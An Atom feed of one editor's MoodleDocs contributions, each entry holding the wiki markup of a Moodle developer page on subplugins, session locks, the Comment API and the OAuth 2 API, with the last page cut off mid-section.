<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://docs.moodle.org/dev/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Mits</id>
	<title>MoodleDocs - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://docs.moodle.org/dev/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Mits"/>
	<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/Special:Contributions/Mits"/>
	<updated>2026-06-16T10:31:03Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.43.5</generator>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Subplugins&amp;diff=63942</id>
		<title>Subplugins</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Subplugins&amp;diff=63942"/>
		<updated>2023-07-11T15:07:27Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Defining sub-plugin type==&lt;br /&gt;
&lt;br /&gt;
{{Moodle 2.6}}&lt;br /&gt;
&lt;br /&gt;
Sub-plugins are supported in following plugin types:&lt;br /&gt;
* activity modules&lt;br /&gt;
* html editors (since 2.4) &lt;br /&gt;
* local plugins (since 2.6) &lt;br /&gt;
* admin tools (since 2.6)&lt;br /&gt;
&lt;br /&gt;
===db/subplugins.json===&lt;br /&gt;
&lt;br /&gt;
{{Moodle 3.8}}&lt;br /&gt;
&lt;br /&gt;
Starting with Moodle 3.8, the subplugins should be defined in the &amp;lt;tt&amp;gt;db/subplugins.json&amp;lt;/tt&amp;gt; file. For example, from  &amp;lt;tt&amp;gt;mod/workshop/db/subplugins.json&amp;lt;/tt&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot;&amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;plugintypes&amp;quot;: {&lt;br /&gt;
        &amp;quot;workshopform&amp;quot;: &amp;quot;mod/workshop/form&amp;quot;,&lt;br /&gt;
        &amp;quot;workshopallocation&amp;quot;: &amp;quot;mod/workshop/allocation&amp;quot;,&lt;br /&gt;
        &amp;quot;workshopeval&amp;quot;: &amp;quot;mod/workshop/eval&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you have a plugin supporting multiple versions, then you should create the &amp;lt;tt&amp;gt;db/subplugins.json&amp;lt;/tt&amp;gt; file, as well as a &amp;lt;tt&amp;gt;db/subplugins.php&amp;lt;/tt&amp;gt; variant which contains the following:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&lt;br /&gt;
$subplugins = (array) json_decode(file_get_contents(__DIR__ . &amp;quot;/subplugins.json&amp;quot;))-&amp;gt;plugintypes;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===db/subplugins.php===&lt;br /&gt;
&lt;br /&gt;
Each activity module can define a set of sub-plugin &#039;&#039;&#039;types&#039;&#039;&#039; (not to be confused with the subplugins themselves) in &amp;lt;tt&amp;gt;db/subplugins.php&amp;lt;/tt&amp;gt;.  The file must contain an array called &amp;lt;tt&amp;gt;$subplugins&amp;lt;/tt&amp;gt;, with the plugin type as the key for the directory containing the plugins. For example, from &amp;lt;tt&amp;gt;mod/workshop/db/subplugins.php&amp;lt;/tt&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$subplugins = array(&lt;br /&gt;
    &#039;workshopform&#039;       =&amp;gt; &#039;mod/workshop/form&#039;,&lt;br /&gt;
    &#039;workshopallocation&#039; =&amp;gt; &#039;mod/workshop/allocation&#039;,&lt;br /&gt;
    &#039;workshopeval&#039;       =&amp;gt; &#039;mod/workshop/eval&#039;,&lt;br /&gt;
);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This defines 3 plugin types, &amp;lt;tt&amp;gt;workshopform&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;workshopallocation&amp;lt;/tt&amp;gt;, and &amp;lt;tt&amp;gt;workshopeval&amp;lt;/tt&amp;gt;. The plugins themselves can be found in &amp;lt;tt&amp;gt;mod/workshop/form&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;mod/workshop/allocation&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;mod/workshop/eval&amp;lt;/tt&amp;gt;, respectively.  Each of these directories can contain a number of plugins, each within it&#039;s own subdirectory.&lt;br /&gt;
&lt;br /&gt;
===Language strings===&lt;br /&gt;
&lt;br /&gt;
You also need to add an entry in the module&#039;s language strings to identify the subplugin(s). Again, using an example from Workshop in &amp;lt;tt&amp;gt;mod/workshop/lang/en/workshop.php&amp;lt;/tt&amp;gt; one can find:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$string[&#039;subplugintype_workshopallocation&#039;] = &#039;Submissions allocation method&#039;;&lt;br /&gt;
$string[&#039;subplugintype_workshopallocation_plural&#039;] = &#039;Submissions allocation methods&#039;;&lt;br /&gt;
$string[&#039;subplugintype_workshopeval&#039;] = &#039;Grading evaluation method&#039;;&lt;br /&gt;
$string[&#039;subplugintype_workshopeval_plural&#039;] = &#039;Grading evaluation methods&#039;;&lt;br /&gt;
$string[&#039;subplugintype_workshopform&#039;] = &#039;Grading strategy&#039;;&lt;br /&gt;
$string[&#039;subplugintype_workshopform_plural&#039;] = &#039;Grading strategies&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Naming rules and recommendations===&lt;br /&gt;
&lt;br /&gt;
#sub-plugin type names must use only letters [a-z]+&lt;br /&gt;
# sub-plugin types must be globally unique - they must not collide with any other plugin type, core subsystem or any other sub-plugin type&lt;br /&gt;
# sub-plugin type names must be short because there are limits on database table name lengths&lt;br /&gt;
&lt;br /&gt;
===plugininfo class===&lt;br /&gt;
{{Moodle 2.6}}&lt;br /&gt;
&lt;br /&gt;
Developers should always define a plugininfo class that describes the properties of subplugins.&lt;br /&gt;
&lt;br /&gt;
In Moodle 2.5 the class was named &amp;lt;tt&amp;gt;plugininfo_plugintype&amp;lt;/tt&amp;gt; and was expected to be in &amp;lt;tt&amp;gt;plugindir/adminlib.php&amp;lt;/tt&amp;gt; file.&lt;br /&gt;
&lt;br /&gt;
Since Moodle 2.6 the class has to be called &amp;lt;tt&amp;gt;\plugintype_pluginname\plugininfo\subtypename&amp;lt;/tt&amp;gt; and is expected to be in &amp;lt;tt&amp;gt;plugindir/classes/plugininfo/subtypename.php&amp;lt;/tt&amp;gt; file.&lt;br /&gt;
&lt;br /&gt;
Here is an example of the class for a plugin called mod_feed and subtype called feedview (doc comments omitted for brevity):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
namespace mod_feed\plugininfo;&lt;br /&gt;
class feedview extends \core\plugininfo\base {&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Uninstallation support===&lt;br /&gt;
{{Moodle 2.6}}&lt;br /&gt;
&lt;br /&gt;
Since Moodle 2.6 sub-plugin types may define custom uninstallation method. It is useful if you need to cleanup up some db tables or settings when uninstalling individual sub-plugins.&lt;br /&gt;
&lt;br /&gt;
===Management page===&lt;br /&gt;
&lt;br /&gt;
Moodle includes only basic listing of installed sub-plugins and support for sub-plugin uninstallation.&lt;br /&gt;
&lt;br /&gt;
== Writing a sub-plugin ==&lt;br /&gt;
&lt;br /&gt;
A lot of the basic structure of a sub-plugin is the same as any other plugin. It can have a &amp;lt;tt&amp;gt;version.php&amp;lt;/tt&amp;gt; (don&#039;t forget the object is &#039;&#039;&#039;$plugin&#039;&#039;&#039; not &#039;&#039;&#039;$mod&#039;&#039;&#039;), a &amp;lt;tt&amp;gt;lang&amp;lt;/tt&amp;gt; directory, and can have a &amp;lt;tt&amp;gt;db&amp;lt;/tt&amp;gt; directory with &amp;lt;tt&amp;gt;install.xml&amp;lt;/tt&amp;gt; and all the others files can can go in there.&lt;br /&gt;
&lt;br /&gt;
As a minimum, you will need the version.php file and a language file with &#039;pluginname&#039; defined. &lt;br /&gt;
&lt;br /&gt;
However the details of what APIs the sub-plugin has to provide depends on the type of sub-plugin it is. For example, and quiz report has to follow the rules for quiz reports that the quiz module sets, and a workshop allocation has to follow the rules set by the workshop module. When you create a new type of sub-plugin, you should document the expected API.&lt;br /&gt;
&lt;br /&gt;
=== Settings pages ===&lt;br /&gt;
&lt;br /&gt;
A subplugin can include a settings.php page but it will &#039;&#039;&#039;not&#039;&#039;&#039; be included automatically. It is the responsibility of the parent module&#039;s settings.php file to include the subplugin&#039;s settings pages. See lib/editor/tinymce/ for a real example.&lt;br /&gt;
&lt;br /&gt;
===Distribution of sub-plugins===&lt;br /&gt;
&lt;br /&gt;
Basic set of sub-plugins is usually distributed with each add-on. It is also possible to submit add-on sub-plugins separately.&lt;br /&gt;
&lt;br /&gt;
[[Category:Plugins]]&lt;br /&gt;
[[ja:サブプラグイン]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Session_locks&amp;diff=63907</id>
		<title>Session locks</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Session_locks&amp;diff=63907"/>
		<updated>2023-06-04T15:02:45Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
When you create a normal moodle page and include config.php then by default a large amount of moodle bootstrapping runs and you will have the $SESSION global setup for you. This is a safe starting assumption but when writing higher performance code it is better to reduce or eliminate the session locks where possible.&lt;br /&gt;
== Debugging session lock issues ==&lt;br /&gt;
If you have &#039;pages that are slow&#039; and you profile them and see that you are waiting on a lock to free up then this is potentially an easy thing to fix to improve your overall performance.&lt;br /&gt;
 $CFG-&amp;gt;debugsessionlock = 5; // Time in seconds&lt;br /&gt;
When a session is locked for more N seconds a debugging call will be made with details of what the other page was which is holding onto the lock.&lt;br /&gt;
== Session unlocking ==&lt;br /&gt;
By default core assumes that you might need to mutate the $SESSION object so it will hold a lock on the session until the page finished and a shutdown handler will release the session lock.&lt;br /&gt;
If you are working on any page which is potentially long running, then you should cleanly separate logic which runs early which could mutate the session from the long running processin code and unlock the session.&lt;br /&gt;
 \core\session\manager::write_close();&lt;br /&gt;
== Read only session in pages ==&lt;br /&gt;
For this to work, READONLY sessions must be enabled as well needing your code to support it. Not all session &lt;br /&gt;
&lt;br /&gt;
If you know ahead of time that you will never mutate the session, but you still need to be able to read it, then you can declare your page to be read only. This will mean your page will never block the session in another http request.&lt;br /&gt;
 define(&#039;READ_ONLY_SESSION&#039;, true);&lt;br /&gt;
== Read only sessions in web services ==&lt;br /&gt;
The same is possible in web services. When you declare your web service you can specify it will not need a session lock:&lt;br /&gt;
     &#039;core_message_get_unread_conversations_count&#039; =&amp;gt; array(&lt;br /&gt;
         &#039;classname&#039; =&amp;gt; &#039;core_message_external&#039;,&lt;br /&gt;
         &#039;methodname&#039; =&amp;gt; &#039;get_unread_conversations_count&#039;,&lt;br /&gt;
         &#039;classpath&#039; =&amp;gt; &#039;message/externallib.php&#039;,&lt;br /&gt;
         &#039;description&#039; =&amp;gt; &#039;Retrieve the count of unread conversations for a given user&#039;,&lt;br /&gt;
         &#039;type&#039; =&amp;gt; &#039;read&#039;,&lt;br /&gt;
         &#039;ajax&#039; =&amp;gt; true,&lt;br /&gt;
         &#039;services&#039; =&amp;gt; array(MOODLE_OFFICIAL_MOBILE_SERVICE),&lt;br /&gt;
         &#039;&#039;&#039;&amp;lt;nowiki&amp;gt;&#039;readonlysession&#039; =&amp;gt; true, // We don&#039;t modify the session.&amp;lt;/nowiki&amp;gt;&#039;&#039;&#039;&lt;br /&gt;
     ), &lt;br /&gt;
== No session at all ==&lt;br /&gt;
If your script doesn&#039;t actually need $SESSION in the first place then save even more processing and locks by declaring:&lt;br /&gt;
 define(&#039;NO_MOODLE_COOKIES&#039;, true);&lt;br /&gt;
== No config is needed ==&lt;br /&gt;
Going to the absolute extreme, if you do not even need the full moodle bootstrap to run then you can skip it via:&lt;br /&gt;
 define(&#039;ABORT_AFTER_CONFIG&#039;, true);&lt;br /&gt;
&lt;br /&gt;
[[ja:セッションロック_(Dev_docs)]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Comment_API&amp;diff=63885</id>
		<title>Comment API</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Comment_API&amp;diff=63885"/>
		<updated>2023-05-19T15:08:41Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Moodle 2.0}}==Objectives==&lt;br /&gt;
&lt;br /&gt;
The goals of Comment API:&lt;br /&gt;
&lt;br /&gt;
* Manage comments centrally&lt;br /&gt;
* Use a consistent approach for all comments throughout Moodle&lt;br /&gt;
* Easily integrate Comment API with existing modules&lt;br /&gt;
* Works no matter Javascript is enabled or not&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
&lt;br /&gt;
Comment API provides following functionalities:&lt;br /&gt;
# Add comments&lt;br /&gt;
# Manage comments&lt;br /&gt;
# Delete comments&lt;br /&gt;
&lt;br /&gt;
And provides a fancy ajax interface to add/delete comments without reloading page.&lt;br /&gt;
&lt;br /&gt;
==Comment API database table==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Field&lt;br /&gt;
! Type&lt;br /&gt;
! Default&lt;br /&gt;
! Info&lt;br /&gt;
|-&lt;br /&gt;
| id&lt;br /&gt;
| int(10)&lt;br /&gt;
| auto-incrementing&lt;br /&gt;
| The unique ID for this comment.&lt;br /&gt;
|-&lt;br /&gt;
| userid&lt;br /&gt;
| int(10)&lt;br /&gt;
|&lt;br /&gt;
| who wrote this comment&lt;br /&gt;
|-&lt;br /&gt;
| contextid&lt;br /&gt;
| int(10)&lt;br /&gt;
|&lt;br /&gt;
| The context id defined in context table - identifies the instance of plugin owning the comment.&lt;br /&gt;
|-&lt;br /&gt;
| itemid&lt;br /&gt;
| int(10)&lt;br /&gt;
|&lt;br /&gt;
| Some plugin specific item id (eg. forum post, blog entry or assignment submission)&lt;br /&gt;
|-&lt;br /&gt;
| commentarea&lt;br /&gt;
| int(10)&lt;br /&gt;
|&lt;br /&gt;
| for example, in user profile, you can comment user&#039;s description or interests, but they share the same itemid(==userid), we need comment_area to separate them&lt;br /&gt;
|-&lt;br /&gt;
| timecreated&lt;br /&gt;
| int(10)&lt;br /&gt;
|&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| timemodified&lt;br /&gt;
| int(10)&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| content&lt;br /&gt;
| text&lt;br /&gt;
|&lt;br /&gt;
| content of comment&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Use Comment API==&lt;br /&gt;
&lt;br /&gt;
===Add an option to format_text function===&lt;br /&gt;
&lt;br /&gt;
Using this format_text function will add a comment icon automatically at the end of the text:&lt;br /&gt;
&lt;br /&gt;
For example, using the following code in the forum module will add a comment icon to every post:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$cmt = new stdclass;&lt;br /&gt;
$cmt-&amp;gt;contextid = $modcontext-&amp;gt;id;&lt;br /&gt;
$cmt-&amp;gt;area      = &#039;format_post&#039;;&lt;br /&gt;
$cmt-&amp;gt;itemid    = $post-&amp;gt;id;&lt;br /&gt;
$options-&amp;gt;comments = $cmt;&lt;br /&gt;
echo format_text($post-&amp;gt;message, $post-&amp;gt;messageformat, $options, $course-&amp;gt;id).&amp;quot;&amp;lt;hr /&amp;gt;&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Use comment class===&lt;br /&gt;
To use Comment API elsewhere, using following code:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$options-&amp;gt;area    = &#039;database_entry&#039;;&lt;br /&gt;
$options-&amp;gt;context = $context;&lt;br /&gt;
$options-&amp;gt;itemid  = $record-&amp;gt;id;&lt;br /&gt;
$options-&amp;gt;component = &#039;mod_data&#039;;&lt;br /&gt;
$options-&amp;gt;showcount = true;&lt;br /&gt;
$comment = new comment($options);&lt;br /&gt;
$comment-&amp;gt;output(false);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Comment API overview==&lt;br /&gt;
&lt;br /&gt;
Generally speaking, only two functions you need to know to get comment API worked:&lt;br /&gt;
# Use comment::init to initialize Comment API&lt;br /&gt;
# Use $comment-&amp;gt;output to display comments&lt;br /&gt;
&lt;br /&gt;
The comment class has been implemented in comment/lib.php.&lt;br /&gt;
===class comment()===&lt;br /&gt;
====__construct($contextid, $comment_area, $itemid))====&lt;br /&gt;
Initialize class members&lt;br /&gt;
&lt;br /&gt;
====init()====&lt;br /&gt;
It is a static function used to initialize comments, setting up languages, which must be called before html head printed&lt;br /&gt;
&lt;br /&gt;
====output($return = false)====&lt;br /&gt;
Will print the html snippet for commenting interface, if set $return as true, it will return html string instead of printing out.&lt;br /&gt;
&lt;br /&gt;
====print_comments($params = array())====&lt;br /&gt;
Used by non-javascript comment interface, will print a list of comments.&lt;br /&gt;
&lt;br /&gt;
====add($content)====&lt;br /&gt;
Public instance funciton, add a comment to database, used in comment/comment_ajax.php&lt;br /&gt;
&lt;br /&gt;
====count()====&lt;br /&gt;
Counting the number of comments&lt;br /&gt;
&lt;br /&gt;
====delete($id)====&lt;br /&gt;
Delete a comment from database, used in comment/comment_ajax.php&lt;br /&gt;
&lt;br /&gt;
====delete_comments====&lt;br /&gt;
Delete all comments in a specific contexts (like all comments belonging to a forum post)&lt;br /&gt;
&lt;br /&gt;
==Javascript API==&lt;br /&gt;
Comment API implemented a YUI3 module M.core_comment to deal with the communication between browsers and moodle.&lt;br /&gt;
It can be found in comment/comment.js&lt;br /&gt;
&lt;br /&gt;
Call M.core_comment.init will create an instance of CommentHelper class. You don&#039;t need to make any calls to this instance, it simply works out of box.&lt;br /&gt;
&lt;br /&gt;
== Moodle modules callback ==&lt;br /&gt;
Comment API allows modules/blocks/blog to decide how comments display.&lt;br /&gt;
&lt;br /&gt;
=== Data validation ===&lt;br /&gt;
This callback method is required, it must be implemented. Otherwise, new comment will be rejected by default.&lt;br /&gt;
Plugins must implement pluginname_comment_validate callback to validate comments parameters, it must return true to pass validation.&lt;br /&gt;
&lt;br /&gt;
===Permission control===&lt;br /&gt;
Modules must implement function &#039;&#039;&#039;pluginname_comment_permissions&#039;&#039;&#039; to return post and view permission.&lt;br /&gt;
&lt;br /&gt;
Blocks need to overwrite &#039;&#039;&#039;blockname_comment_permissions&#039;&#039;&#039; function of block_base.&lt;br /&gt;
&lt;br /&gt;
Blog need to implement &#039;&#039;&#039;blog_comment_permissions&#039;&#039;&#039; function.&lt;br /&gt;
&lt;br /&gt;
This function will return an array: array(&#039;post&#039;=&amp;gt;true, &#039;view&#039;=&amp;gt;true)&lt;br /&gt;
&lt;br /&gt;
=== Check new added comment ===&lt;br /&gt;
The callback function allows you to change the comment content before inserting into database or reject this comment.&lt;br /&gt;
&lt;br /&gt;
It takes two arguments, the comment object which contains comment details, and $params which contains context and course information.&lt;br /&gt;
&lt;br /&gt;
Modules can implement a function named &#039;&#039;&#039;modname_comment_add&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Blocks need to overwrite &#039;&#039;&#039;blockname_comment_add&#039;&#039;&#039; function.&lt;br /&gt;
&lt;br /&gt;
Blog need to implement &#039;&#039;&#039;blog_comment_add&#039;&#039;&#039; function.&lt;br /&gt;
&lt;br /&gt;
This function should return a boolean value. &lt;br /&gt;
&lt;br /&gt;
=== Filter/format comments ===&lt;br /&gt;
This callback allows modules check/format comments when user request to display comments.&lt;br /&gt;
&lt;br /&gt;
It takes the same arguments as pluginname_comment_add&lt;br /&gt;
&lt;br /&gt;
Modules can implement a function named &#039;&#039;&#039;pluginname_comment_display&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Blocks need to overwrite &#039;&#039;&#039;blockname_comment_display&#039;&#039;&#039; function.&lt;br /&gt;
&lt;br /&gt;
Blog need to implement &#039;&#039;&#039;blog_comment_display&#039;&#039;&#039; function.&lt;br /&gt;
&lt;br /&gt;
It will return the comment object.&lt;br /&gt;
&lt;br /&gt;
=== Define a comment template ===&lt;br /&gt;
Modules can implement a function named &#039;&#039;&#039;pluginname_comment_template&#039;&#039;&#039;, which allow modules define a comment template.&lt;br /&gt;
The template must have 4 embedding variables, ___id___, ___content___, ___time___, ___name___, they will be replaced with html id, comments content, comment time and commenter name&lt;br /&gt;
&lt;br /&gt;
== Backup and Restore ==&lt;br /&gt;
Comments will automatically be included in the activity/course backups and restored provided the itemids can be updated during the restore process. To do this either:&lt;br /&gt;
&lt;br /&gt;
* do not use item ids and rely just on the context&lt;br /&gt;
* make the commentarea the same as one of the mappings in the restore (set_mapping); or&lt;br /&gt;
* override the function &amp;quot;get_comment_mapping_itemname&amp;quot; in the restore activity class&lt;br /&gt;
&lt;br /&gt;
If you do not do one of these the comments will be silently ignored on restore.&lt;br /&gt;
&lt;br /&gt;
==See also==&lt;br /&gt;
* [[Core APIs]]&lt;br /&gt;
* MDL-19118 - Comment API issue&lt;br /&gt;
&lt;br /&gt;
[[Category:API]]&lt;br /&gt;
&lt;br /&gt;
[[ja:コメントAPI]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=OAuth_2_API&amp;diff=63842</id>
		<title>OAuth 2 API</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=OAuth_2_API&amp;diff=63842"/>
		<updated>2023-03-22T15:04:18Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== OAuth 2 API ==&lt;br /&gt;
{{ Moodle 3.3 }}&lt;br /&gt;
&lt;br /&gt;
The OAuth 2 API is a set of classes that provide OAuth 2 functionality for integrating with remote systems. They exist in the folder /lib/classes/oauth2/ and there are a few concepts to be aware of.&lt;br /&gt;
&lt;br /&gt;
=== Issuers ===&lt;br /&gt;
An OAuth Issuer is a named external system that provides identity and API access by issuing OAuth access tokens. They are configured manually at &amp;quot;Site administration -&amp;gt; Server -&amp;gt; OAuth 2 Services&amp;quot; and common ones can be quickly created from a template (Google, Office 365 and Facebook). An Issuer has a name and icon (for display on the login page), a Client ID and Client Secret (part of the OAuth spec).&lt;br /&gt;
&lt;br /&gt;
=== Endpoints ===&lt;br /&gt;
An OAuth issuer must have a number of endpoints defined which are the URL&#039;s used to fetch and exchange access tokens, as well as fetch identity information. These will be setup automatically for OAuth services created from a template, or OAuth services using Open ID Connect.&lt;br /&gt;
&lt;br /&gt;
The 3 standard endpoints which must be defined are the &amp;quot;authorization endpoint&amp;quot;, &amp;quot;token endpoint&amp;quot; and &amp;quot;userinfo endpoint&amp;quot; - these are 3 urls which are used by the OAuth protocol to &amp;quot;allow the user to login&amp;quot;, &amp;quot;obtain tokens to access the api&amp;quot; and &amp;quot;get the logged in user information&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
=== Open ID Connect ===&lt;br /&gt;
Open ID Connect is a protocol built on top of OAuth 2 which provides some standardisation and inter-operability for OAuth 2 based services. If a &amp;quot;base service url&amp;quot; is entered for an Issuer - Moodle will attempt to retrieve the &amp;quot;well known configuration&amp;quot; which provides all the information about the other endpoints required to complete the setup for this service. E.g. for Google - the base service url is &amp;quot;https://accounts.google.com/&amp;quot;. By appending &amp;quot;.well-known/openid-configuration&amp;quot; to the url we can find the service description at https://accounts.google.com/.well-known/openid-configuration which contains all the required information for us to automatically complete the setup for this service. This will work with any Open ID connect compliant service.&lt;br /&gt;
&lt;br /&gt;
=== Open Badge Connect API ===&lt;br /&gt;
Open Badge Connect API is a specification built by IMS Global which provides some standardisation and interoperability for OAuth 2 based services. If a &amp;quot;base service URL&amp;quot; is entered for an Issuer, Moodle will attempt to retrieve the &amp;quot;well-known configuration&amp;quot; (.well-known/badgeconnect.json) which provides all the information about the endpoints required to complete the setup for this service. Besides, if no client id and secret are given, the registration endpoint will be called to get them (and safe time and effort to the admin).&lt;br /&gt;
E.g. for IMS Global testing platform, the base service URL is &amp;quot;https://dc.imsglobal.org/&amp;quot;. By appending &amp;quot;.well-known/badgeconnect.json&amp;quot; to the URL we can find the service description which contains all the required information for us to automatically complete the setup for this service (endpoints, client id and secret, image...).&lt;br /&gt;
&lt;br /&gt;
=== User field mappings ===&lt;br /&gt;
The other information we need to know about an OAuth 2 service is how to map the user information into Moodle user fields. We do this by adding to the list of user field mappings for the Issuer. The mappings for Open ID Connect services are standard and will be automatically created when setting up an Open ID compliant service - for other services you will need to create the mappings manually. Moodle will use this information to import the user profile fields when creating new accounts. The most important user field mappings are the username and email which are used to identify the Moodle account associated with the OAuth 2 login.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How a new issuer service should be implemented? ==&lt;br /&gt;
Any OAuth2 Service should have a class into the lib/classes/oauth2/service/ folder extending from a discovery system (core\oauth2\discovery\base_definition) and implementing core\oauth2\service\issuer_interface:&lt;br /&gt;
&lt;br /&gt;
* Discovery system indicates the way the endpoints should be obtained.&lt;br /&gt;
* Issuer interface has several common methods, called from lib/classes/oauth2/api.php to initialise or discover endpoints.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;class google extends openidconnect implements issuer_interface {&lt;br /&gt;
[...]&lt;br /&gt;
&lt;br /&gt;
class imsobv2p1 extends imsbadgeconnect implements issuer_interface {&lt;br /&gt;
[...]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== I set up an OAuth 2 Issuer - how do I use it in code? ==&lt;br /&gt;
Any plugin that wants to use the configuration information provided by an OAuth issuer first needs to determine which issuer they should use for authentication. This is typically done by adding a setting that lets the admin choose from the list of configured issuers. An example is the &amp;quot;Google Drive&amp;quot; repository. It&#039;s possible to have multiple, very similar OAuth Issuers configured e.g. One public Google Issuer and one that is restricted to a specific domain. Once we know the Issuer we wish to use we can use it&#039;s ID to get an \core\oauth2\client class which will let us make requests against that API.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;// Get an issuer from the id.&lt;br /&gt;
$issuer = \core\oauth2\api::get_issuer($issuerid);&lt;br /&gt;
// Get an OAuth client from the issuer.&lt;br /&gt;
$client = \core\oauth2\api::get_user_oauth_client($this-&amp;gt;issuer, $returnurl, $scopes);                           &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Despite what is said in the code documentation, it is best to check that the client is authenticated and if not,  redirect the user to log in.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
if (!$client-&amp;gt;is_logged_in()) {&lt;br /&gt;
    redirect($client-&amp;gt;get_login_url());&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What is return URL?&#039;&#039;&#039; &lt;br /&gt;
&lt;br /&gt;
This is a url that will take you back to the current page. The way OAuth works is that the call to get the OAuth client will check to see if we have a valid session with all of the required scopes. If we don&#039;t - the user will be redirected immediately to the OAuth login page. When they have logged in - they are redirected back to the &amp;quot;returnurl&amp;quot; in Moodle which must end up making the same call to get an OAuth client - except this time we have a valid session so the client is returned. The returnurl MUST include the sesskey as one of the parameters.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What are the scopes?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
These are named &amp;quot;permission grants&amp;quot; which the user is asked to accept. E.g. &amp;quot;email&amp;quot; is a scope which allows Moodle to see the email address for your logged in account. Each of the requested permissions will be displayed to the user with a description of what they mean and the user will have to &amp;quot;grant&amp;quot; Moodle this level of access - or cancel the operation. It is best practice not to request more scopes than are needed at any one time, and to incrementally request additional scopes as they are going to be used by different features in Moodle. For example - when logging into Moodle we only need to request access to the users basic profile and email address. When accessing a repository - we will need to request read/write access to the users files. Each time we create an oauth client class, we list the scopes that we will be using with this instance of the oauth client - if the user has only approved some of the scopes we request - they will be redirected to a consent screen where they approve the additional level of access.&lt;br /&gt;
&lt;br /&gt;
So - what can I do with my oauth client ?&lt;br /&gt;
&lt;br /&gt;
